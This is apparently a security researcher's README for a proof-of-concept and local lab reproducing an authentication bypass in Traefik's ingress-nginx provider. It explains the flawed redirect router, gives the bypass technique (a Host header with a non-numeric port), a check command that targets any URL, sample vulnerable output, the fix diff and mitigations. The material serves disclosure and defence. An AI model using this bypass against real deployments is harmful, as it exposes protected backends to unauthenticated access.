
Proof-of-concept and reproducible lab for CVE-2026-88877, a Traefik ingress-nginx authentication bypass via from-to-www-redirect, with a read-only check mode.
v3.7.0–v3.7.11 — Authentication bypass via from-to-www-redirectAuthor: pwnVader · License: MIT (repository root)
| Component | Traefik (Kubernetes ingress-nginx provider, providers.kubernetesingressnginx) |
| Type | CWE-639 — Authorization bypass through user-controlled key |
| Affected | Traefik >= v3.7.0, <= v3.7.11 (v2 and < v3.7.0 are not affected) |
| Fixed | v3.7.12 |
| CVE | CVE-2026-88877 — CVSS 4.0 9.3 (Critical, per the vendor advisory) · CVSS 3.1 9.8 (as published by some vulnerability databases) |
| Official advisory | GHSA-cjr6-pf59-jq29 (Traefik repository advisory) |
| PoC | poc.sh · lab/ |
Disclosure status. This vulnerability was publicly disclosed by the Traefik project and is fixed in v3.7.12. This document is an independent technical analysis with a reproducible lab — it is not the original discovery. The vulnerability was reported/disclosed through the vendor advisory listed above (see also the VulnCheck advisory). Do not use this material against systems without explicit authorization.
GHSA identifiers. The official repository advisory is GHSA-cjr6-pf59-jq29. GitHub's generic advisory database also carries a separate record, GHSA-9rch-gvf7-hrfc, for the same issue; when citing the vulnerability, prefer the repository advisory.
When an Ingress carries both an authentication annotation (e.g.
nginx.ingress.kubernetes.io/auth-type: basic) and
nginx.ingress.kubernetes.io/from-to-www-redirect: "true", Traefik's ingress-nginx provider
creates an extra "sibling" router that matches the host alone, carries only the generated
RedirectRegex middleware, and still points at the protected backend:
// pkg/provider/kubernetes/ingress-nginx/translator.go (v3.7.10)
conf.HTTP.Middlewares[mwName] = &dynamic.Middleware{
RedirectRegex: &dynamic.RedirectRegex{
Regex: `(https?)://[^/:]+(:[0-9]+)?/(.*)`,
Replacement: fmt.Sprintf("$1://%s$2/$3", f.TargetHostname),
StatusCode: new(http.StatusPermanentRedirect), // 308
},
}
conf.HTTP.Routers[routerKey+"-from-to-www-redirect"] = &dynamic.Router{
Rule: f.ExtraRouterRule, // Host("www.example.com")
Middlewares: []string{mwName}, // ONLY the redirect middleware
Service: rt.Service, // <-- the protected backend
}
RedirectRegex is not a terminal handler: if its regex does not match, the request is passed
to the next handler and ultimately proxied to the backend. The regex only accepts a numeric
port ((:[0-9]+)?), while Traefik's Host() matcher canonicalizes the authority through
net.SplitHostPort. A request whose Host header has a non-numeric or empty port therefore:
Host("www.example.com")), butwww.example.com:x), so it is not redirected, andOne unauthenticated request — Host: www.example.com:x — reaches a backend that requires
authentication. The HTTP status returned depends on the backend itself: in this lab the
traefik/whoami backend answers 200, but the security-relevant fact is that the request
reached the backend without authentication, not the specific status code.
v3.7.0–v3.7.11 running with the ingress-nginx provider enabled
(--providers.kubernetesingressnginx=true).nginx.ingress.kubernetes.io/from-to-www-redirect: "true", for a host without a www. counterpart
(otherwise the sibling router is not generated).# requirements: docker, kind (https://kind.sigs.k8s.io), kubectl
./lab/up.sh # kind cluster + Traefik v3.7.10 + whoami + protected Ingress
./poc.sh lab # applies manifests, exposes the lab on 127.0.0.1:18080, tests
./lab/down.sh # tear down
poc.sh check can also be pointed at any candidate deployment:
./poc.sh check --url https://target.example --host target.example --verbose
[1] Protected host (Host: example.local) — authentication must be enforced
HTTP 401
[PASS] auth middleware enforced (HTTP 401)
[2] www host (Host: www.example.local) — the redirect router
HTTP 308
[PASS] redirect router responds (HTTP 308)
[3] Bypass attempt (Host: www.example.local:x) — non-numeric port
HTTP 200
> Hostname: whoami-ff77f998d-25f6n
> RemoteAddr: 10.244.0.8:57586
> X-Forwarded-Server: traefik-7f76f4c58d-5knfz
== RESULT ==
[PASS] VULNERABLE: the request reached the protected backend without authentication (HTTP 200)
The backend used in the lab (traefik/whoami) echoes the request, proving the request reached the
protected service with no Authorization header and no auth middleware applied. The status code
shown (200) is what this particular backend returns; with a different backend the bypass may
surface as another non-401/403/non-redirect response.
- Regex: `(https?)://[^/:]+(:[0-9]+)?/(.*)`,
+ // Anchored to prevent ReplaceAllString from rewriting past the leading URL.
+ Regex: `^(https?)://(?:\[[^/\]]*\]|[^/:]+)(:[0-9]+)?[^/]*/(.*?)/?$`,
...
- Service: rt.Service,
+ // The redirect router does not carry the location middlewares (auth included),
+ // so it must never reach the backend.
+ Service: unavailableServiceName,
The redirect router now points to an internal unavailable service, so even if a request slips
past the regex it can never reach a protected backend.
Update to Traefik v3.7.12 or later. Installations that cannot update should temporarily remove
nginx.ingress.kubernetes.io/from-to-www-redirect from any Ingress that combines authentication or
allowlists, and implement the redirect with a configuration that preserves the access-control
middlewares (e.g. explicit Traefik RedirectScheme/RedirectRegex CRDs with the middlewares
attached). Defence in depth: also enforce authentication at the backend/upstream.
For authorized security testing only. The lab is local and self-contained; the check mode is
read-only (three GET requests) and must only be used against systems you own or are explicitly
authorized to test.